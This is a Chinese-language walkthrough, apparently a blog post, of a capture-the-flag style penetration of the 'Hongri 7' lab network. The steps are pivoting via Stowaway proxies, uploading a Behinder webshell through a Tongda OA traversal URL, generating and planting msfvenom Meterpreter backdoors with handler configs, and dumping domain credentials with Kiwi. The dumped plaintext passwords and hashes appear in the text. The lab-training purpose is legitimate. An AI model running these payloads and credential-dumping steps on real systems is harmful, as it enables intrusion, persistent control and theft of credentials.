目录
4、Web1执行meterpreter_nostaged_x64.elf
六、MSF监听Web2(proxychains走stoway代理 稳定)
(1)Web1服务器从kali攻击机下载web2.elf木马
(2)web2服务器从web1服务器下载web2.elf木马
七、MSF监听PC1(set Proxies socks5 可shell)
3、MSF监听(set Proxies socks5 可shell)
本系列文章详细记录红日靶场7的一次从外网到内网的多层渗透测试过程,具体如下列表所示。本篇主要讲解获取内网1的PC1设备的全渗透流程,涉及如下背景色标黄的所有流程。首先利用Web1服务器的Redis未授权获取初始立足点,上传fscan扫描发现192.168.52.0/24内网。通过Stoway搭建反向代理,渗透PC1(通达OA)和Web2服务器,获取多台主机控制权。随后利用MSF生成木马,结合代理技术实现对内网主机的持续控制,基于在PC1上提取到域管理员凭据进行后续渗透。整个过程涉及Redis未授权渗透利用、反向代理搭建、通达OA渗透利用、MSF木马植入、域凭证提取等多个技术环节,展示了从外网到核心内网的完整渗透路径。
-
Web1 (外网跳板机) - 信息收集: 通过端口扫描发现并利用 Redis 未授权访问渗透。
-
Web1 (外网跳板机) - 获取权限: 利用Redis写入ssh公钥实现ssh免密登录获取服务器权限。
-
Web1 (外网跳板机) - 内网探测: 上传fscan进行内网扫描,发现192.168.52.0/24网段。
-
Web2 (内网1) - 渗透利用: 通过 Web1 跳板攻击Web2上Laravel CVE-2021-3129 渗透。
-
Web2 (内网1) - 权限提升: 在 Web2 的 Docker 容器内利用Find和篡改环境变量提权。
-
Web2 (内网1) - Docker逃逸:在Web2的 Docker容器内利用特权模式写入ssh公钥进行逃逸。
-
Web2(内网1)-- 权限提升:通过CVE-2021-3493提权为root账户。
-
Kali(攻击机)-Web1 (外网跳板机) - 反向代理:使用stoway搭建反向代理连通内网1。
-
PC1 (内网1) - 获取权限: 通过 Web1 跳板,利用通达OA渗透写入冰蝎木马进行提权。
-
Web1 (外网跳板机) - MSF获取权限: 通过向Web1上传木马,MSF获取Web1权限。
-
Web2(内网1)-- MSF获取权限:通过向Web2传木马,proxychains MSF获取Web2权限。
-
PC1 (内网1) - MSF获取权限: 通过向PC1传木马,MSF set Proxies socks5获取PC1权限。
-
PC1 (内网1) - MSF信息获取: 搜集密码信息与域信息,获取域管理员账户密码。
-
PC1 (内网1) - 内网探测: 通过向PC1传fscan,探测内网主机PC1和域控DC。
-
Kali-Web1-PC1 (内网1) - 反向代理: 使用ew工具搭建二层内网反向代理。
-
PC2 (内网2) - 横向移动: 利用MSF 永恒之蓝获取权限(走二层代理)。
-
PC(内网2) - 信息收集: 基于MSF收集域信息,定位域控制器,获取域控的账号和密码。
-
DC (内网2) -获取权限:MSF PSexec SMB获取权限(走二层代理)。
一、网络拓扑
1、网络拓扑
外部网络:
- Kali攻击机:Vmnet8-192.168.59.128
- DMZ跳板机:Web1(Ubuntu):Vmnet8-192.168.59.141 Vmnet2网卡:192.168.52.10
第一层内部网络:
- Web2服务器(Ubuntu):Vmnet2网卡:192.168.52.20),Vmnet14网卡:192.168.93.10
- PC1(内网1):Vmnet2网卡:192.168.52.30(通达OA)Vmnet14网卡:192.168.93.20
第二层内部网络:
- 内网渗透目标PC2(内网2):Vmnet14-192.168.93.40(永恒之蓝)
- 内网渗透目标DC(内网2):Vmnet14-192.168.93.30(Psexec SMB)

2、角色表
本渗透环境包含六个核心角色,具体渗透流程与角色表如下所示。
-
外网突破:Kali 利用 Web1 的 Redis 未授权 (192.168.52.10) 获得首个立足点。
-
内网1横向移动:以 Web1 为跳板,扫描并攻击内网1 (192.168.52.0/24) 中的 Web2 和 PC1。
-
向内网2渗透:利用 Web2 或 PC1 的双网卡特性,将其作为新的跳板,访问此前无法直接到达的内网2 (192.168.93.0/24)。
-
内网2攻击:最终在内网2中,利用 永恒之蓝 攻击 PC2,利用 Psexec/SMB 攻击域控制器 DC,完成对整个网络的控制。
| 节点 | IP地址 | 角色 | 渗透路径中的作用 |
|---|---|---|---|
| Kali攻击机 | 192.168.59.128 (Vmnet8) | 攻击发起源 | 从外网发起攻击的起点 |
| Web1跳板机 | 192.168.59.141 (Vmnet8) 192.168.52.10 (Vmnet2) | 初始入口 Redis未授权访问 | 第一层跳板,连接外网与内网1 |
| Web2服务器 | 192.168.52.20 (Vmnet2) 192.168.93.10 (Vmnet14) | Laravel应用 & Docker 双网卡网关 | 第二层跳板,连接内网1与内网2 |
| PC1 | 192.168.52.30 (Vmnet2) 192.168.93.20 (Vmnet14) | 通达OA系统 双网卡主机 | 辅助跳点,连接内网1与内网2 |
| PC2 (目标) | 192.168.93.40 (Vmnet14) | 存在MS17-010(永恒之蓝) | 内网2核心攻击目标之一 |
| DC (目标) | 192.168.93.30 (Vmnet14) | 域控制器,Psexec/SMB | 内网2最终攻击目 |
二、Web1使用Fscan探测内网网段
1、上传fscan
由于Web1服务器是Linux系统,故而需要将fscan_arm64传入到Web1中,我们直接将其拖拽到xterminal的左侧目录即可,具体操作步骤如下所示。

2、fscan探测192.168.52.0/24网段
这一步需要打开三个windows虚拟机(Web1,Web2和PC1)探测,首先为fscan_amd64扫描工具添加可执行权限,随后对192.168.52.0/24整个C类网段进行综合资产探测扫描,旨在快速发现存活主机、开放端口及潜在安全风险。
chmod +x ./fscan_amd64
./fscan_amd64 -h 192.168.52.0/24

分析./fscan_amd64 -h 192.168.52.0/24的扫描结果, 发现30是windows系统,8080是通达OA。

三、Stoway配置第一层反向代理
1、Storway原理
(1)部署阶段 (Deployment)
-
服务端 (Admin):在攻击机 (
192.168.59.128) 启动,监听12347端口,等待客户端连接。 -
客户端 (Agent):在跳板机 (
192.168.59.141) 启动,主动向外连接服务端的12347端口,建立一条持久的、加密的C2(命令与控制)信道。
(2)代理配置 (Proxy Configuration)
-
攻击者在攻击机上配置
proxychains,将 Socks5 代理指向127.0.0.1:12347。 -
这意味着,所有被
proxychains执行的网络流量,都会被发送到本机的 Stoway 服务端。
(3)攻击流程 (Attack Flow)
-
① 攻击者运行
proxychains nmap...或proxychains msfconsole,攻击工具产生的流量被proxychains捕获。 -
②
proxychains将这些流量通过 Socks5 协议转发到本机的12347端口,即 Stoway 服务端。 -
③ Stoway 服务端收到流量后,通过已建立的 C2 指令通道,将数据封装并发送给跳板机上的 Stoway 客户端。
-
④ Stoway 客户端收到数据包后,将其还原为原始的网络请求,并通过跳板机的内网 IP (
192.168.52.10) 发送给内网目标(如192.168.52.20或192.168.52.30)。

flowchart LR
subgraph A [攻击机 Kali]
direction TB
A1[攻击工具<br>MSF/Nmap等]
A2[Proxychains]
A3[Stoway 服务端 Admin<br>监听:12347]
A1 -- "流量经Proxychains<br>代理转发" --> A2
A2 -- "数据转发" --> A3
style A fill:#e1f5fe
end
subgraph B [公网/DMZ]
B1[跳板机<br>Stoway 客户端 Agent<br>外网:192.168.59.141<br>内网:192.168.52.10]
style B fill:#f3e5f5
end
subgraph C [目标内网]
C1[Web2: 192.168.52.20]
C2[PC1: 192.168.52.30]
style C fill:#e8f5e9
end
A -- "C2指令通道<br>服务端 → 客户端" --> B
B -- "客户端执行指令<br>访问内网资源" --> C
2、配置Stoway服务端代理
首先为linux_x64_admin的Stoway管理端程序添加可执行权限,并通过-l 12347参数启动管理端服务并监听12347端口,建立远程管理通道以便通过该端口进行设备监控、配置管理和控制操作。
chmod +x linux_x64_admin
./linux_x64_admin -l 12347


3、配置Stoway客户端代理
(1)web1服务器下载stoway客户端

(2)Web服务器执行stoway客户端命令
首先为linux_x64_agent的Stoway客户端程序添加可执行权限,并通过-c 192.168.59.128:12346参数指定连接至IP为192.168.59.128、端口为12347的服务器,使客户端主动与服务端建立持久连接并接受远程指令。
chmod +x linux_x64_agent
./linux_x64_agent -c 192.168.59.128:12347

4、服务端配置Stowaway代理端口
stoway服务器配置监听12347端口,如下所示。
use 0
socks 12347

5、Kali配置socks5代理
配置/etc/proxychains4.conf文件,添加socks5 0.0.0.0 12347,如下所示。

四、PC1渗透(通达OA 走stoway代理)
1、访问PC1的8080端口
访问PC1的通达OA服务(192.168.52.30:8080),需要配置socks5代理192.168.59.128:12347,具体如下所示。

2、OA工具箱渗透
(1)配置代理
这里我们选择使用OA工具箱渗透,使用前需配置socks5代理192.168.59.128:12347,具体步骤如下所示。

(2)信息搜集
左侧的菜单栏中选择通达(如下图左侧红框所示),在地址栏输入Fscan中扫描到的通达OA服务URL地址http://192.168.52.30:8080/,点击验证如下所示存在文件上传安全风险。

(3)写入木马
接下来我们点击“文件上传”,在文本框内粘贴冰蝎马的内容,并点击上传文件,如下所示成功上传冰蝎马。
http://192.168.52.30:8080/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../attach/im/2510/562133777.png

3、连接冰蝎木马(冰蝎需要配置代理)
使用冰蝎工具前需要配置socks5代理192.168.59.128:12347,方法如下所示。

URL地址:
http://192.168.52.30:8080/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../attach/im/2510/562133777.png
密码 rebeyond
如下所示,我们成功连接冰蝎工具,截至目前我们已经成功获取到Web1服务器(跳板机)、Web2服务器(第一层内网)和PC1(第一层内网)的权限。

4、发现第二层内网192.168.93.0/24
如下所示,我们使用ipconfig查询ip地址,一个网卡的ip地址为192.168.52.30(正式第一层内网的IP地址),同时发现其另一个网卡ip地址为192.168.93.20,说明还第二层内网,其网段为192.168.93.0/24。

五、MSF监听(Web1 Ubuntu 直连)
1、MSF生成木马
(1)失败命令
由于Web1服务器系统较旧,使用如下两种方法生成的木马均会报错,无法监听成功。
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.59.128 LPORT=4444 -f elf -o shell.elf
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.59.128 LPORT=4444 -f elf -o shell_x86.elf
(2)成功命令
使用MSFvenom工具生成一个Linux x64系统的后门程序,配置为向攻击者主机192.168.59.128的4444端口建立反向Meterpreter连接,输出格式为ELF可执行文件,最终生成名为meterpreter_nostaged_x64.elf的载荷文件用于渗透测试。
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.59.128 LPORT=4444 -f elf -o meterpreter_nostaged_x64.elf
对比失败和成功命令的区别,成功命令是生成一个适用于Linux x64系统的、无阶段的反向Meterpreter载荷。其特别之处在于,该ELF文件是完整的自包含后门,无需从攻击机分阶段下载代码,因此能一次性建立全功能会话,有效规避了某些基于网络流量检测的分阶段攻击识别机制。具体如下所示。
-
失败命令:
linux/x64/meterpreter/reverse_tcp-
这是一个分阶段 的载荷。
-
含义: 生成的
shell.elf文件非常小,它只是一个“引导程序”。当它在目标机器上执行时,会主动连接攻击机(192.168.59.128:4444),然后从攻击机下载并注入完整的、功能强大的 Meterpreter 载荷。
-
-
成功命令:
linux/x64/meterpreter_reverse_tcp-
这是一个无阶段 的载荷。
-
特别之处: 生成的
meterpreter_nostaged_x64.elf文件是一个完整的、自包含的后门程序。它已经将反向连接器和整个 Meterpreter 载荷都包含在同一个文件中。执行后,它会直接与攻击机建立连接并提供一个功能完整的 Meterpreter 会话,无需额外的网络通信来下载第二阶段载荷。
-
2、Web1下载木马文件
在 meterpreter_nostaged_x64.elf的目录中执行python3 -m http.server 8888。
Web服务器wget工具下载Kali攻击机生成的木马文件meterpreter_nostaged_x64.elf。
wget http://192.168.59.128:8888/meterpreter_nostaged_x64.elf
3、MSF监听
MSF开启监听,特别注意payload要与木马一致( linux/x64/meterpreter_reverse_tcp),具体配置如下所示。
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter_reverse_tcp
set LHOST 192.168.59.128
set LPORT 4444
set ExitOnSession false
exploit -j
4、Web1执行meterpreter_nostaged_x64.elf
5、MSF监听成功
回到kali攻击机的MSF监听页面,此时已经监听成功。

六、MSF监听Web2(proxychains走stoway代理 稳定)
1、生成木马
使用MSFvenom生成一个Linux x64系统的后门程序,配置为在目标主机上开启5555端口监听并等待Metasploit攻击机主动连接,最终输出名为web2.elf的ELF格式可执行文件,用于建立反向Meterpreter控制会话。木马的payloadbind_tcp,这是因为baecon在目标主机中未必能实现出网连接到我们的攻击机Kali, 命令如下所示。
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=5555 -f elf -o web2.elf
- -p linux/x64/meterpreter/bind_tcp:Linux x64 绑定TCP的Meterpreter载荷
- LPORT=5555:目标监听端口5555
- -f elf:输出格式为ELF可执行文件
- -o web2.elf:输出文件名为web2.elf
2、web2 下载木马
由于web1无法直接连接攻击机Kali,我们现在需要先把木马下载到web1服务器中,再从web2服务器中下载木马。
(1)Web1服务器从kali攻击机下载web2.elf木马
kali攻击机生成木马的目录执行python3 -m http.server 8888开启web服务。

web1 下载web2.elf木马,具体如下所示。

(2)web2服务器从web1服务器下载web2.elf木马
在web2.elf目录执行python3 -m http.server 8888开启web服务,如下所示。
![]()
web2在root权限使用wget命令下载web2.elf,如下所示。

3、MSF监听(走代理)
通过代理隧道启动Metasploit框架并配置一个绑定式TCP载荷处理器,针对内网主机192.168.52.20的5555端口发起连接请求,在后台建立Meterpreter控制会话,实现通过跳板机对无法直接访问的内网目标进行远程代码执行和持久化控制。
proxychains -q msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set RHOST 192.168.52.20
set LPORT 5555
exploit -j

4、web2 执行木马
在web2服务器的root权限下执行web2.elf木马,如下所示。
chmod +x web2.elf
./web2.elf

5、MSF监听Web2成功
回到kali攻击机的MSF监听页面,此时已经监听成功,我们获取了MSF对Web2的控制权。

七、MSF监听PC1(set Proxies socks5 可shell)
1、生成木马
使用MSFvenom生成一个Windows x64系统的可执行后门程序,配置为在目标主机上开启5555端口监听并等待Metasploit攻击机主动连接,最终输出名为msf-PC1-5555.exe的PE格式文件,用于通过绑定TCP连接建立Meterpreter远程控制会话。
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=5555 -f exe -o msf-PC1-5555.exe

2、上传木马到服务器
将木马msf-PC1-5555.exe通过冰蝎工具上传,具体如下所示。

3、MSF监听(set Proxies socks5 可shell)
在Metasploit框架中配置socks5代理(127.0.0.1:12347)建立网络隧道,随后启用多路处理器并设置windows/x64绑定式TCP载荷,最终通过代理连接内网目标192.168.52.30的5555端口,等待目标主机执行后门程序后建立Meterpreter控制会话。
msfconsole
set Proxies socks5:127.0.0.1:12347
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.52.30
set LPORT 5555
run
|
msfconsole msf6 > set Proxies socks5:127.0.0.1:12347 Proxies => socks5:127.0.0.1:12347 msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp payload => windows/x64/meterpreter/bind_tcp msf6 exploit(multi/handler) > set RHOST 192.168.52.30 RHOST => 192.168.52.30 msf6 exploit(multi/handler) > set LPORT 5555 LPORT => 5555 msf6 exploit(multi/handler) > run |
4、冰蝎执行木马

5、MSF监听成功
木马运行后监听成功,具体如下所示。这个版本还可以进入shell界面,之前使用proxychains代理执行msf时是无法进入shell页面的。


6、MSF获取密码
在Meterpreter会话中执行Kiwi模块的creds_all功能,以SYSTEM权限从LSASS进程内存中完整提取目标主机的所有认证凭据,包括明文密码、NTLM哈希、Kerberos票据及各类缓存凭证,为横向移动和权限提升提供关键信息。

如下所示,Meterpreter命令成功以SYSTEM权限提取了目标主机的全部认证凭据,完整获取了WHOAMIANONY域(或WHOAMIANONY.ORG)中Administrator用户(密码Whoami2021)、bunny用户(密码Bunny2021)的明文密码及NTLM哈希,同时捕获了计算机账户PC1$的机器密码哈希,为后续横向移动和权限维持提供了完整的凭据集合。
| meterpreter > creds_all [+] Running as SYSTEM [*] Retrieving all credentials msv credentials =============== Username Domain LM NTLM SHA1 -------- ------ -- ---- ---- Administrator WHOAMIANONY 56b0cd8b125c05055e2dd9e955f18034 ab89b1295e69d353dd7614c7a3a80cec 2bc4124300a6a8fc0ca10891823d36c64e4b3a40 PC1$ WHOAMIANONY 3e6a3d8c713b4821eaa51aab25f52074 d8e1318a24c64b8fcc89dc8609b09af50342bacf bunny WHOAMIANONY 7de10bf327ef7f2ac6ebe8776a153feb cc567d5556030b7356ee4915ff098c8f 3747632756191e3350e53211c63f804eb163638f wdigest credentials =================== Username Domain Password -------- ------ -------- (null) (null) (null) Administrator WHOAMIANONY Whoami2021 PC1$ WHOAMIANONY %Yn!@ZW,eWz5>[!hh;H.(&n(yh^2YADmU*2bVx<N#yvw.9MTwmi;84''uRaucL)mw7I42S>sUE#r&u]vz6\/:5A.s5nLrko+zfn@])/"$V6?sDZel=f>[ol; bunny WHOAMIANONY Bunny2021 tspkg credentials ================= Username Domain Password -------- ------ -------- Administrator WHOAMIANONY Whoami2021 bunny WHOAMIANONY Bunny2021 kerberos credentials ==================== Username Domain Password -------- ------ -------- (null) (null) (null) Administrator WHOAMIANONY.ORG Whoami2021 bunny WHOAMIANONY.ORG Bunny2021 pc1$ whoamianony.org %Yn!@ZW,eWz5>[!hh;H.(&n(yh^2YADmU*2bVx<N#yvw.9MTwmi;84''uRaucL)mw7I42S>sUE#r&u]vz6\/:5A.s5nLrko+zfn@])/"$V6?sDZel=f>[ol; pc1$ WHOAMIANONY.ORG %Yn!@ZW,eWz5>[!hh;H.(&n(yh^2YADmU*2bVx<N#yvw.9MTwmi;84''uRaucL)mw7I42S>sUE#r&u]vz6\/:5A.s5nLrko+zfn@])/"$V6?sDZel=f>[ol; |
通过表格的形式总结暴露的域核心账户的认证信息,凭借这些凭据,攻击者可以使用 Administrator 密码或哈希,通过psexec,wmiexec 等工具控制域内其他主机,具体如下所示,
| 用户名 | 域 | 明文密码 | NTLM 哈希 | 角色与风险分析 |
|---|---|---|---|---|
| Administrator | WHOAMIANONY | Whoami2021 | ab89b1295e69d353dd7614c7a3a80cec | 域管理员账户。获取此账户意味着完全控制整个 WHOAMIANONY.ORG 域。 |
| bunny | WHOAMIANONY | Bunny2021 | cc567d5556030b7356ee4915ff098c8f | 普通域用户。可作为低权限跳板或用于测试凭证是否在其他系统重用。 |
| PC1$ | WHOAMIANONY | 机器密码(复杂长字符串) | 3e6a3d8c713b4821eaa51aab25f52074 | 计算机账户。此哈希可用于白银票据攻击,伪造访问该机器特定服务的票证。 |
7、查看域信息
执行net view列出当前域或工作组中可用的网络计算机,分别为DC、PC1和PC2。


1440

被折叠的 条评论
为什么被折叠?



